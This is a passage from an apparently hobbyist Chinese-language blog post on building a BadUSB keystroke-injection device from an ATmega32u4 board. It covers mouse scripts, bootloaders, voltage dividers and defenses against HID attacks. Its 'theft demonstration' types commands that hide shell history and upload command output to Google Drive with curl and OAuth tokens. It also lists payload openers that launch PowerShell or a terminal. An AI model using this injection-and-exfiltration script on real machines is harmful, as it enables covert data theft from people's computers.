src="https://lh3.googleusercontent.com/-FgDEr8DOzZc/ZYW_tOFPMOI/AAAAAAADI-8/ILEQRTudXUAPO9QuQx8MhRBxs6IIdwf2QCEwYBhgLKpwFALCRM50XLY3UkKwDA8nv6gEzK_wZQgFTTOnrkGoY_G1ANdC_ynnvcAEX496cPcQfkYJ4EQN_RUk51OWnT5EOk835BibtRc-wInqKMBkWyG4mz3RgwrVkqjE0XGAdGCzKw7KC6K0UHrCndihIS9uRHaNUJmDUu-v-ckKMmK3beuJ3NSJxLW6mIaNDGOFra4YKCwkVjaxm5iUARcvlWE2lnbZFC_stvlskCwLTP-WAmwfhaoE2r-iPS5sF-oXrH0rszKlmTnAI_9c2tgKnwr5vbFwX-n5svim34JxnusYZ-bD_LtYtGX9TKsgZ9CaGD5fW89v_C4i28-SD1oUzNV_lPZwGabRiKvLCjiA1kB9j7kqBpWtIBjXREYWYP8pbEnF4h2reSxz2bCLq13GO3H4-EYccZ8lfJQuQHQ_9ITyI1g2l4qfI0ZRKWLKGgKJLPd5wQwBhXwFopgS-PHZUEmWRHAH56z8JEzDckXNCI8Y3oNg51zzJ1JVUJtrJkac3Pg9Fe5ZofJsuocc7pEH-4cunDF6BOkrEW9O_CEcIXjMfd5d7GJDkGKQ3ZfzYvXSySVKP75hJoASDcvZZrKiaSsAAK-Id5jVVwDpPwse7XM50Cx-giDOYL61KViEvfqVHluzCz_YmhIRTIWDBLoTovGgUoz3hr7aQo8EwIpvgvEAkzNmxJXWdev272K312fmWigjobQVhKV_mm5CR6asQjtuSxBvBJoSzxTekjbM0e1m3SVRl779TIXKlBdrWCnzfADOn7yRawpYp8S52kP4G_RoPxrc5N-UPLkE_I1XnKktnVclDDLixZVKRTq5KtKHNlwEdixigAbcS1SSKhxN_eK10M3UGOpWZ51l8MHKfHW0836VV3L0a_oSAOrMQQHcwpJrOrAY/w600/atmega32u4-sd-card-slot-018.mp4" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<pre class="brush:bash">mouse.set-x 200
mouse.set-y 200
mouse.press left
delay.ms 100
mouse.offset-x 100
delay.ms 100
mouse.offset-y 100
delay.ms 100
mouse.offset-x -100
delay.ms 100
mouse.offset-y -100
delay.ms 100
mouse.release left</pre>
<p>測試內容說明:</p>
<div>
<ol>
<li>設定滑鼠X座標為 200</li>
<li>設定滑鼠Y座標為 200</li>
<li>按下滑鼠左鍵</li>
<li>延遲100毫秒 (確保按下)</li>
<li>向右偏移滑鼠X座標 200</li>
<li>延遲100毫秒 (確保水平移動)</li>
<li>向下偏移滑鼠Y座標 200</li>
<li>延遲100毫秒 (確保垂直移動)</li>
<li>向左偏移滑鼠X座標 200</li>
<li>延遲100毫秒 (確保水平移動)</li>
<li>向上偏移滑鼠Y座標 200</li>
<li>延遲100毫秒 (確保垂直移動)</li>
<li>釋放滑鼠左鍵</li>
</ol>
</div>
<a name="補充資料"></a><h4 class="mra-h4">補充資料</h4>
<a name="補充資料ATmega32u4Bootloader"></a><h5 class="mra-h5">ATmega32u4 Bootloader</h5>
<p>由於 Arduino Leonardo 及 Sparkfun Pro Micro 都是使用 ATmega32u4<br/>
因此使用 Arduino Leonardo 或 Sparkfun Pro Micro 都能將適合的 Bootloader 錄到 ATmega32u4<br/>
但兩者燒錄結果略有不同</p>
<p>安裝 Arduino Leonardo 的 Bootloader 後, D1 LED 會 每1秒閃動;按動重設按鈕後 D1 LED 會顯示 8秒呼吸燈效果,然後正式啟動<br/>
安裝 Sparkfun Pro Micro 的 Bootloader 後, D1 LED 會顯示 呼吸燈效果;按動重設按鈕後 會靜止 1秒,然後正式啟動<br/>
如果想 按動重設按鈕 後,不想花太多時間等待,使用 Sparkfun Pro Micro 的 Bootloader 會比較快</p>
<p>需要使用 Sparkfun Pro Micro 版本的 Bootloader ,可以在 Additional Boards Manager URLs: 加入</p>
<pre class="brush:bash">https://raw.githubusercontent.com/sparkfun/Arduino_Boards/master/IDE_Board_Manager/package_sparkfun_index.json</pre>
<p>並搜尋、安裝 SparkFun AVR Boards ,使用時選擇 SparkFun AVR Boards > SparkFun Pro Micro<br/>
使用時要將 <span class="mra-highlighter">Processor</span> 更改為 <span class="mra-highlighter">ATmega32u4 (5V, 16MHz)</span></p>
<p>SD.h 使用較舊的 FAT ,<span class="mra-highlighter">檔案名不能多於8個字元,副檔名不能多於3個字元 (8.3命名規則)</span><br/>
否則即使檔案存在,但仍然無法讀取</p>
<p>雖然 AVR-C 的字串支援 32767位元組 字串,但受微控制器的 RAM 的容量限制<br/>
例如 ATmega32u4 有 2560位元組 RAM ,在實際情況下 RAM 還需要保存其他資料<br/>
所以最好將長字串分割成多個短字串,才讀取 SD卡 的文字資料,避免因為 RAM 不足導致讀取及保存失敗</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL_j_pDANjnk7D7HixJ_qqVEnyPK3NmPerP1j3UiKgaPHHymmQz7Gb0PSLE3OB763P0fsI9DN4MfLbIgAz-BsEPTZot2x-GD7A8TUXYTzxrVAO-if4VwQy99OVRH7bsV-pwNbqW8zs4QC5fc9cvvZHb2C9ys_wrNW3EIJ5mB5u7UptM_FxhWwZz0-ilFA/w0/atmega32u4-sd-card-slot-021.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL_j_pDANjnk7D7HixJ_qqVEnyPK3NmPerP1j3UiKgaPHHymmQz7Gb0PSLE3OB763P0fsI9DN4MfLbIgAz-BsEPTZot2x-GD7A8TUXYTzxrVAO-if4VwQy99OVRH7bsV-pwNbqW8zs4QC5fc9cvvZHb2C9ys_wrNW3EIJ5mB5u7UptM_FxhWwZz0-ilFA/w0/atmega32u4-sd-card-slot-021.png"/></a></div>
<p>如果沒有這款 USB裝置 ,使用 Arduino Pro Micro 連接到 SD卡模組 亦可<br/>
由於 SD卡 的工作電壓為 <span class="mra-highlighter">3.0V 至 3.6V</span> ,而 Arduino Pro Micro 沒有 3.3V 輸出<br/>
若果 SD卡模組 電源引腳 或 SPI引腳 沒有 3.3V穩壓器<br/>
必須使用 <span class="mra-highlighter">電壓分配規則(Voltage Divider Rule)</span> 或 <span class="mra-highlighter">電壓轉換器(Logic Level Converter)</span></p>
<a name="補充資料電壓分配規則"></a><h5 class="mra-h5">電壓分配規則</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhahyOTCER6dNZfSScJnGnNErzb-l3v0LPxx1bJqkKh1bKMWoRvBpOQzW2fnPePX6lDlnFGGKIAt69Hobxe9GtF7DSfELbILjxh6FuBxbLjPucpvtP4_6r7bCvxnMwxKVomW6XkjLZF86xL55Zm1Vmozzqce_6dnDcOwYmOzHBwzEnvJERtpIr8llv67rY/w0/atmega32u4-sd-card-slot-022.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhahyOTCER6dNZfSScJnGnNErzb-l3v0LPxx1bJqkKh1bKMWoRvBpOQzW2fnPePX6lDlnFGGKIAt69Hobxe9GtF7DSfELbILjxh6FuBxbLjPucpvtP4_6r7bCvxnMwxKVomW6XkjLZF86xL55Zm1Vmozzqce_6dnDcOwYmOzHBwzEnvJERtpIr8llv67rY/w0/atmega32u4-sd-card-slot-022.png"/></a></div>
<p>電壓分配規則 接駁方法</p>
<a name="補充資料邏輯電壓轉換器"></a><h5 class="mra-h5">邏輯電壓轉換器</h5>
<p>由於並非所有電子零件都使用相同電壓,例如 ATmega32u4 接受 5V ,但 SD卡 接受 3.3V<br/>
如果將 5V電源 連接到 SD卡 ,好大機會會損壞 SD卡<br/>
使用 電壓分配規則 雖然能夠將 邏輯電壓 調整成需要的範圍,但如果有大量引腳都需要轉換,便需要大量電阻<br/>
邏輯電壓轉換器 能夠設置 高邏輯電壓 及 低邏輯電壓,再從 通道 轉換成需要的 邏輯電壓<br/>
通道越多,便越減省電壓分配規則的電阻數量</p>
<p>一些邏輯電壓轉換器還提供 <span class="mra-highlighter">相向轉換</span> ,可以根據輸入向方自動調節 高至低 或 低至高 的邏輯電壓輸出</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiykRHW5ccRhTkxsIJ3IFVpQDz0m3Cs6zvyQ2dTj4PeXHsLIvbBzd698DOiaesJ-xFYP8WjUxMkHqw0IMMQ2rgbRmWUDq31zEsWU6imSyYYcYfXvXwkqFTLV5dJXez0IwZcxAf9utKsCyvcaR-B2j5Ivmw_VihIVz7RJJU_fe4-dHLGexi3fGB65-HLsrE/w0/atmega32u4-sd-card-slot-023.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiykRHW5ccRhTkxsIJ3IFVpQDz0m3Cs6zvyQ2dTj4PeXHsLIvbBzd698DOiaesJ-xFYP8WjUxMkHqw0IMMQ2rgbRmWUDq31zEsWU6imSyYYcYfXvXwkqFTLV5dJXez0IwZcxAf9utKsCyvcaR-B2j5Ivmw_VihIVz7RJJU_fe4-dHLGexi3fGB65-HLsrE/w0/atmega32u4-sd-card-slot-023.png"/></a></div>
<p>電壓轉換器 接駁方法</p>
<a name="補充資料電壓分配規則計算器"></a><h5 class="mra-h5">電壓分配規則計算器</h5>
<svg width="384.702px" height="100.644px" aria-hidden="true" viewBox="0 -1359 8390 2195" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<path id="formula-V" d="m52 648q0 22 13 35h11q42-3 105-3 118 0 139 3h10q6-6 6-9t-2-18q-5-15-9-19h-21q-22-2-30-2-29-5-32-15 0-2 29-251t30-251l73 117q73 117 146 236t75 123q4 7 4 15 0 24-44 28-18 0-18 11 0 1 2 13 3 14 6 18t13 4q2 0 12 0t34-1 64-1q69 0 87 2h7q7-7 7-11 0-17-9-32-3-3-17-3-13-1-24-2t-21-5-16-7-12-8-10-7-8-9-7-7l-193-310q-180-291-186-298-3-2-7-5l-18-1h-7q-18 0-18 7-3 6-39 320-38 318-39 321-5 11-62 11h-17q-7 5-7 11z"/>
<path id="formula-o" d="m201-11q-75 0-121 49t-46 118q0 65 30 123t82 101q76 61 155 61 32 0 40-1 13-3 26-7t35-16 36-30 26-49 12-70q0-107-86-193t-189-86zm-80 131q0-50 26-72t59-22q44 0 83 32t62 84q9 21 23 74t14 92q0 44-18 67-24 30-64 30-63 0-111-58-37-44-55-117t-19-110z"/>
<path id="formula-u" d="m21 287q0 8 9 31t25 52 44 50 59 22q46 0 69-25t23-59q0-18-34-112t-34-141q0-43 14-60t42-18 53 17 37 34l11 17q2 4 38 152 30 120 36 140t14 29q17 15 36 15 17 0 25-10t8-19l-76-318q-1-5-1-16 0-25 7-33t21-9q22 3 35 31t30 88q2 8 20 8 19 0 19-9-1-5-2-14t-9-32-17-43-25-38-36-25q-8-2-24-2-66 0-91 56-2-1-11-10t-18-15-22-15-29-12-34-5q-44 0-78 18-52 31-52 106 0 57 35 149t35 117q0 1 0 2 0 9 0 12t-4 7-11 4h-4q-23 0-42-19t-30-41-17-42-8-22q-2-2-16-2h-14q-6 6-6 9z"/>
<path id="formula-t" d="m26 385q-7 7-7 10 0 4 3 16t5 14q2 5 9 5t51 1h53l19 80q3 11 7 29t7 26 6 20 8 17 10 12 14 9 18 2q18-1 25-11t7-19q0-7-9-47t-20-79l-10-37q0-2 50-2h51q7-7 7-11 0-22-13-35h-107l-36-145q-39-160-39-172 0-42 27-42 35 0 68 34t53 84q2 6 5 7t15 2h4q15 0 15-8 0-3-3-12-5-16-18-38t-34-47-51-42-61-17q-30 0-57 15t-39 52q-2 8-2 27v18l35 140q35 141 36 142 0 2-51 2h-51z"/>
<path id="formula-=" d="m56 347q0 13 14 20h637q15-8 15-20 0-11-14-19l-318-1h-318q-16 5-16 20zm0-194q0 15 16 20h636q14-10 14-20 0-13-15-20h-637q-14 7-14 20z"/>
<path id="formula-i" d="m184 600q0 24 19 42t44 19q18 0 30-12t13-30q0-23-20-42t-44-20q-15 0-28 10t-14 33zm-163-313q0 8 9 31t24 51 44 51 60 22q39 0 65-23t27-62q0-17-14-56t-40-105-42-113q-5-22-5-32 0-25 17-25 9 0 19 3t23 14 27 35 25 59q3 12 5 14t17 2q20 0 20-10 0-8-9-31t-25-51-45-50-62-22q-32 0-59 21t-28 64q0 17 5 32t43 114q38 101 44 121t7 39q0 24-17 24h-2q-30 0-55-33t-38-84q-1-1-2-3t-1-3-2-2-3-1-4 0-8 0h-14q-6 6-6 9z"/>
<path id="formula-n" d="m21 287q1 6 3 16t12 38 20 47 33 37 46 17q36 0 60-18t30-34 6-21q0-2 1-2l11 11q61 64 139 64 54 0 87-27t34-79-38-157-38-127q0-26 17-26 6 0 9 1 29 5 52 38t35 80q2 8 20 8 20 0 20-8 0-1-4-15-8-29-22-57t-46-56-69-27q-47 0-68 27t-21 56q0 19 36 120t37 152q0 59-44 59h-5q-86 0-145-101l-7-12-33-134q-33-131-38-141-13-27-43-27-13 0-21 6t-11 12-2 10q0 13 38 163t40 163q1 5 1 23 0 39-24 39-38 0-63-100-6-20-6-21-2-6-19-6h-14q-6 6-6 9z"/>
<path id="formula-R" d="m230 637q-27 0-32 1t-5 11q0 27 11 33 2 1 174 1 172-1 186-3 56-8 94-28t54-46 21-43 6-34q0-45-29-84t-67-60-67-34-38-13l7-5q67-38 67-110 0-11-5-61t-5-82v-9q0-18 1-28t11-18 26-9q28 0 46 22t26 47q5 14 8 17t15 3q20 0 20-12 0-18-24-57-38-57-90-57h-9q-61 0-101 25t-44 78q0 27 15 84t15 73q0 51-43 74-15 7-25 8t-71 2h-69l-32-130q-33-132-33-134 0-4 1-5t7-4 17-2 33-2h31q6-8 6-9t-3-18q-4-13-10-19h-15q-36 2-131 2-34 0-63 0t-46 0-21-1q-17 0-17 9 0 2 3 14 5 19 10 21 4 1 15 1h6q27 0 60 3 14 3 19 12 3 4 72 278t69 289q0 7-57 9zm400-83q0 32-21 54t-86 28q-2 0-23 0t-38 1h-22q-47 0-54-10-1-3-34-133t-33-133q0-1 69-1 78 1 104 7 64 10 100 59 16 23 27 60t11 68z"/>
<path id="formula-2" d="m109 429q-27 0-43 18t-16 44q0 71 53 123t132 52q91 0 152-56t62-145q0-43-20-82t-48-68-80-74q-36-31-100-92l-59-56 76-1q157 0 167 5 7 2 24 89v3h40v-3q-1-3-13-91t-15-92v-3h-371v31q0 7 6 15t30 35q29 32 50 56 9 10 34 37t34 37 29 33 28 34 23 30 21 32 15 29 13 32 7 30 3 33q0 63-34 109t-97 46q-33 0-58-17t-35-33-10-19q0-1 5-1 18 0 37-14t19-46q0-25-16-42t-45-18z"/>
<path id="formula-1" d="m213 578-13-5q-14-5-40-10t-58-7h-19v46h19q47 2 87 15t56 24 28 22q2 3 12 3 9 0 17-6v-299l1-300q7-7 12-9t24-4 62-2h26v-46h-11q-21 3-159 3-136 0-157-3h-12v46h26q22 0 38 0t25 1 16 3 8 2 6 5 6 4v517z"/>
<path id="formula-+" d="m56 237t0 13 14 20h299v150l1 150q10 13 19 13 13 0 20-15v-298h298q15-8 15-20t-15-20h-298v-298q-8-14-18-14h-4q-12 0-18 14v298h-299q-14 7-14 20z"/>
</defs>
<rect width="8390" height="2195" fill="#FFFFFF"/>
<g transform="scale(1,-1)">
<use xlink:href="#formula-V"/>
<g transform="translate(616 -150) scale(.707)">
<use xlink:href="#formula-o"/>
<use xlink:href="#formula-u" transform="translate(485)"/>
<use xlink:href="#formula-t" transform="translate(1057)"/>
</g>
<use xlink:href="#formula-=" transform="translate(1946.5)"/>
<g transform="translate(3002.2)">
<use xlink:href="#formula-V"/>
<g transform="translate(616 -150) scale(.707)">
<use xlink:href="#formula-i"/>
<use xlink:href="#formula-n" transform="translate(345)"/>
</g>
</g>
<g transform="translate(4336.4)">
<g transform="translate(1429,676)">
<use xlink:href="#formula-R"/>
<use xlink:href="#formula-2" transform="translate(792 -150) scale(.707)"/>
</g>
<g transform="translate(220,-686)">
<use xlink:href="#formula-R"/>
<use xlink:href="#formula-1" transform="translate(792 -150) scale(.707)"/>
<use xlink:href="#formula-+" transform="translate(1417.8)"/>
<g transform="translate(2418)">
<use xlink:href="#formula-R"/>
<use data-c="32" xlink:href="#formula-2" transform="translate(792 -150) scale(.707)"/>
</g>
</g>
<rect x="120" y="220" width="3813.6" height="60"/>
</g>
</g>
</svg>
<p>電壓分配規則方程式</p>
<svg version="1.1" width="300" height="200" viewBox="0,0 300,200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="mra-battery">
<path d="M 0,0 35,0"/>
<path d="M 65,0 100,0"/>
<path d="M 35,-10 35,10"/>
<path d="M 45,-20 45,20"/>
<path d="M 55,-10 55,10"/>
<path d="M 65,-20 65,20"/>
</g>
<path id="mra-resistor" d="M 0,0 20,0 23.75,-15 31.25,15 38.75,-15 46.25,15 53.75,-15 61.25,15 68.75,-15 76.25,15 80,0 100,0"/>
<path id="mra-wire" d="M 0,0 0,100"/>
<circle id="mra-joint" r="5"/>
</defs>
<rect width="300" height="200" fill="#FFFFFF"/>
<g fill="none" stroke="#000000" stroke-width="3">
<use xlink:href="#mra-battery" transform="translate(50,50)" stroke="#FF0000"/>
<use xlink:href="#mra-resistor" transform="rotate(90) translate(50,-150)" stroke="#0000FF"/>
<use xlink:href="#mra-resistor" transform="translate(50,150)" stroke="#FF00FF"/>
<use xlink:href="#mra-wire" transform="translate(50,50)"/>
<path d="M 150,150 200,150"/>
</g>
<use xlink:href="#mra-joint" transform="translate(150,150)"/>
<g font-family="Courier New" font-size="15">
<g text-anchor="middle" transform="translate(100,0)">
<text id="out-r2" y="180">150 R</text>
<text id="out-v0" y="25" text-anchor="middle">5 V</text>
</g>
<g text-anchor="start">
<text id="out-r1" x="170" y="105">100 R</text>
<text id="out-v1" x="210" y="155">3 V</text>
</g>
</g>
</svg>
<table border="0">
<tr style="color: #FF0000;">
<td>電源電壓:</td>
<td><input id="in-v" type="number" min="0" max="1000000000" value="5" oninput="calculateVoltages();"/></td>
</tr>
<tr style="color: #0000FF;">
<td>電阻值1:</td>
<td><input id="in-r1" type="number" min="0" max="1000000000" value="100" oninput="calculateVoltages();"/></td>
</tr>
<tr style="color: #FF00FF;">
<td>電阻值2:</td>
<td><input id="in-r2" type="number" min="0" max="1000000000" value="150" oninput="calculateVoltages();"/></td>
</tr>
</table><!--
<p><a href="https://www.falstad.com/circuit/circuitjs.html?ctz=CQAgjCAMB0l3BWcMBMcUHYMGZIA4UA2ATmIxAUgoqoQFMBaMMAKADcQAWYw8DXhISph+UMZ1piqMBCwBOFIXwFKUEsWDjzFVNVW689GyiwDuXHsouH1kFgHkdII0LzP1EO48HDRrq54O1u76nG5GgUA">電壓分配規則示範 @ CircuitJS</a></p-->
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<p>Ducky Script 是一種專為 USB Rubber Ducky 執行的腳本程式碼,稱為 <span class="mra-highlighter">負載(Payload)</span><br/>
有些使用者製作將 Ducky Script 轉換為 Arduino Sketch 的 AVR-C 語法的工具,並能在支援 USB HID 的開發板中使用<br/>
但由於 Ducky Script 很多轉換器已經沒有維護,部分連結已經失效<br/>
亦有部分因為無法追上 Ducky Script 的新版本,將 Ducky Script 轉換為 Arduino Sketch 時會出錯<br/>
但其實如果分析 Ducky Script 的內容,其實能夠人手轉換</p>
<p>USB Rubber Ducky 面世時,由於其偽裝成一般 USB儲存裝置 的設計而將這種 USB裝置 稱為 <span class="mra-highlighter">BadUSB</span><br/>
BadUSB 能輕易盜取及破壞被入侵的裝置,在電視劇 Mr.Robot 其中一幕就是使用 USB Rubber Ducky 盜取資料<br/>
但這種攻擊很依賴被入侵的裝置的系統類型、存取權限、能執行的軟件、性能因素而影響攻擊成效<br/>
雖然在下無法查看所有 負載 的內容,但單純在 Hak5 的 Payload Hub 的中的描述及語法<br/>
第1頁共18個項目</p>
<div>
<ul>
<li>13個項目是關於 Windows (指定 10 或 11)</li>
<li>3個項目是關於 Mac OS</li>
<li>1個項目是關於 Linux (指定 Debian)</li>
<li>1個項目已經失效</li>
</ul>
</div>
<p>基本上都是針對 Windows</p>
<p>由於主要是透過 <span class="mra-highlighter">指令操作</span> ,因此都是以 <span class="mra-highlighter">執行</span> 或 <span class="mra-highlighter">終端機</span> 開始,腳本最初大致上都是:</p>
<div>
<ul>
<li>Windows 為 <pre class="brush:bash">GUI r
DELAY 500
STRINGLN powershell
ENTER
DELAY 500</pre></li>
</ul>
<ul>
<li>Mac OS 為 <pre class="brush:bash">GUI SPACE
DELAY 1000
STRING terminal
ENTER
DELAY 2000</pre></li>
</ul>
<ul>
<li>Linux 為 <pre class="brush:bash">CTRL-ALT t
DELAY 2000</pre></li>
</ul>
</div>
<p>在下發現並非所有 Linux 都是使用 <span class="mra-highlighter">Ctrl-Alt T</span> 開啟終端機或執行功能,而是受 <span class="mra-highlighter">桌面環境</span> 限制<br/>
例如在下使用 <span class="mra-highlighter">Mate桌面環境</span> 是使用 <span class="mra-highlighter">Alt F2</span> ,因此 Ctrl-Alt T 對使用 Mate 的 Linux 沒有效果<br/>
(除非剛好開啟動 Terminal 並連接 BadUSB)<br/>
而且當輸入法並非英文時,虛擬鍵盤無法輸入英文指令,同樣無法產生效用</p>
<a name="總結盜取示範"></a><h5 class="mra-h5">盜取示範</h5>
<div><a href="https://photos.google.com/share/AF1QipMD-LZwZvi0Zz-qLQTVyEboMjKcfYrnd03cvet4-bcZDMJptLMUiMFXDl4kmezJXA/photo/AF1QipNM3jbVZh1vwtNoIxHd2Qu1QdvXHLK4K1BypEp6?key=OUNnN283X1FXWVVjY0loMkp3WlJOdlZpblJuSXJ3"><img src="https://lh3.googleusercontent.com/-N1-zQPdca8E/ZYW_uc47aXI/AAAAAAADI-c/8ROTW532qnk5xzD03L5fmhvCm3RzgmyhACEwYBhgLKpwFALCRM52_RtstTM7v0P12KPSMxVHJyNXCHLI5nMbJaZGx0bV8mdNb_wKIT86amXKCrFJILcOY7DMbmjQpeZyDMv1HUMePUlx6CTFahOEqhz_oCEw9eLwUXycbrpTqvENYr5ErAkHyM6TP9Z9qkNUHxRGvUxOR_F-jSZcrKWJ7TB24QsGCz5lsEoYXsJCyi9k8DBTIoK3JE5REF-Cy-WVB441ANdaogecECMs3I1qALpvvcyf-NWDtQgp45Q2qQutFUA93ZxaJN2GSbDhXwbQHr-l2FSFYEkfW-d0QQPyXroL03KMmK8Je7mNMGnM26qdvVp3-R_9o6Q8fWfN2cf9KM-BqV5b3YqKdhYZVy18vD08ZhvtAMt36Zf1x11nNkvKflRqsIrJHEJN0QriJahNLBOm1iV_XQzWm-1NWX6pZv87TlhgCZYQ7Kz1_9TBjfA-SfhA5pme56ctseeaRizA1Pv7M8Pc1EVmVj-WpWbQygkEIf1QIF1hHUET-Ksn-V36ozSSSYJ2djaaWjy5V7wRQmeSHS0IHV9kz4twcDn13GmhVPsL0klgVrg19Q-ITzBhMa9O60qyCeCVftQg2957E_0i6bxc0KaoDpEQgj1jU0pfUgbToA68i0K7_hiYOHTQ0yao639kBs3MztEGo1M-hzWtaCFPBJmqX3KmCqW6ppaf35i9Wtuksto-a1Ir2fVuGi7mYgcLNFuVfx0Ny8UDjsZEeoA23fsZntUSmIhs9zmBZIzeH1Y9_CQ92RmOn3F9VGnKjaOUznaCNwXCPMEKoEGMwWsDRJbrsnBP6DKkJmq3HvKaxS5r5K2gv-vur7UbaPiGmYcOj33H9A217xtaeV9l432xAiaUtRgHe52F3iiKPOY4LyFLIIN8WINYwwJrOrAY/w600/atmega32u4-sd-card-slot-019.mp4" alt="見下文" title="見下文" aria-hidden="true" width="600"/></a></div>
<pre class="brush:bash">keyboard.press alt
keyboard.write f2
keyboard.release alt
delay.s 1
keyboard.println mate-terminal
delay.s 2
keyboard.println unset HISTFILE
keyboard.println cmd="uname -a"
keyboard.println curl -sL \
keyboard.println --request "POST" \
keyboard.println --header "Authorization: Bearer "`curl -sL \
keyboard.println --request "POST" \
keyboard.println --header "Content-Type: application/x-www-form-urlencoded" \
keyboard.println --data "client_id=<hidden>" \
keyboard.println --data "client_secret=<hidden>" \
keyboard.println --data "refresh_token=<hidden>" \
keyboard.println --data "grant_type=refresh_token" \
keyboard.println "https://www.googleapis.com/oauth2/v3/token" \
keyboard.println | grep "access_token" \
keyboard.println | sed -r 's/.*: ?"([^"]+)".*/\1/g'` \
keyboard.println --header "Content-Type: multipart/related; boundary=boundary" \
keyboard.println --data-binary "--boundary
keyboard.println Content-Type: application/json
keyboard.println
keyboard.println {\"name\":\"`date "+%Y-%m-%d-%H-%M-%S"`.txt\",\"description\":\"${cmd}\"}
keyboard.println --boundary
keyboard.println Content-Type: text/plain
keyboard.println
keyboard.println `eval "${cmd}"`
keyboard.println --boundary--" \
keyboard.println "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"; exit</pre>
<p>以上是一個示範,盜取 Linux核心版本 的資料<br/>
盜取資料的方法主要都是將資料 <span class="mra-highlighter">收集成一個文字檔案</span> ,或直接 <span class="mra-highlighter">使用指令輸出資料</span><br/>
再使用 <span class="mra-highlighter">Curl</span> 之類能夠發送 <span class="mra-highlighter">HTTP請求</span> 的指令工具,將 <span class="mra-highlighter">檔案上載到指定伺服器或雲端儲存服務</span><br/>
因此如果電腦系統沒有安裝 Curl 之類工具,基本上是無法達成<br/>
(雖然能從網上下載,但要下載時間無法確定)</p>
<a name="總結防護方法"></a><h5 class="mra-h5">防護方法</h5>
<p>剛才提及到將檔案上載到指定伺服器或雲端儲存服務<br/>
即是盜取資料需要攻擊者提供 <span class="mra-highlighter">伺服器</span> 或 <span class="mra-highlighter">雲端儲存服務</span> 的 <span class="mra-highlighter">帳戶</span> 或 <span class="mra-highlighter">存取令牌(Access Token)</span> ,其實有被反擊的風險<br/>
(所以示範的內容及影片中,在下將敏感資料隱藏<br/>
Terminal 可以輸入 <span class="mra-highlighter">stty -echo</span> 來隱藏所有輸入內容,只是在下想影片中有高速自動輸入的效果)</p>
<p>在下不是輕視 BadUSB 攻擊,而是 BadUSB 要盜取資料其實並不容易<br/>
但 BadUSB <span class="mra-highlighter">直接毀滅資料</span> 則非常簡單,只需要一句指令就可以毀滅所有資料</p>
<p>物理上可以使用 <span class="mra-highlighter">USB隔離器</span> ,只容許電源引腳及接地引腳,但這種方法只適合只需要差電的裝置</p>
<p>一些防毒軟件公司提出當電腦識別到連接的 USB裝置 屬於 HID 時<br/>
例如 USB鍵盤 , <span class="mra-highlighter">需要輸入配對碼</span> (類似藍牙鍵盤配對的方式),配對正確才能連接<br/>
但需要安裝該防毒軟件公司的軟件</p>
<p>在 Linux 上,可以使用 <span class="mra-highlighter">udev規則</span> 限制 USB裝置 的 <span class="mra-highlighter">Vender ID</span> 及 <span class="mra-highlighter">Product ID</span> 的連接許可<br/>
但當需要使用的 USB裝置 使用相同 Vender ID 及 Product ID 則會無法使用該 USB裝置</p>
<p>比起這些大量不確定性的盜取及攻擊,在下覺得協助自己完成一些自動化操作的功能更有用</p>
<p>在下程式碼上載至 <a href="https://create.arduino.cc/editor/hkgoldenmra/673134e8-be49-4761-8ae4-d248197a6290/preview">create.arduino.cc</a> ,閣下有興趣可以自行修改及使用</p>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://shop.hak5.org/products/usb-rubber-ducky">USB Rubber Ducky @ Hak5</a></li>
<li><a href="https://shop.hak5.org/blogs/payloads">Payload Hub @ Hak5</a></li>
<li><a href="https://github.com/Insight1620/CJMCU-BadUSB">Bad Ducky @ Github</a></li>
<li><a href="https://d4n5h.github.io/Duckuino/">Ducky Script 轉 Arduino Sketch</a></li>
<li><a href="https://learn.sparkfun.com/tutorials/voltage-dividers/all">Voltage Divider @ SparkFun</a></li>
<li><a href="https://www.mouser.hk/datasheet/2/916/74HC4050-1541820.pdf">74HC4050 資料表</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-80240767057758762912023-11-23T22:25:00.001+08:002023-11-23T22:25:16.100+08:00在 Surface Go 2 安裝 Linux<p>在下從同事購買一部 Surface Go 2 的觸控熒幕的手提電腦<br/>
由於同事需要還原電腦才交給在下,但一直都無法還原,因此直接交給在下處理</p>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#測試觸控熒幕">測試觸控熒幕</a></li>
<li><a href="#補充資料">補充資料</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a>
<ul>
<li><a href="#使用虛擬機製作Windows起動裝置">使用虛擬機製作 Windows起動裝置</a></li>
<li><a href="#使用GRUB2載入其他起動裝置">使用 GRUB2 載入其他起動裝置</a></li>
</ul>
</li>
</ul>
</div>
<p>由於無法使用系統原本的還原方法<br/>
因此在下打算直接使用 Linux Live Boot USB,直接將 Linux 安裝到 Surface Go 2</p>
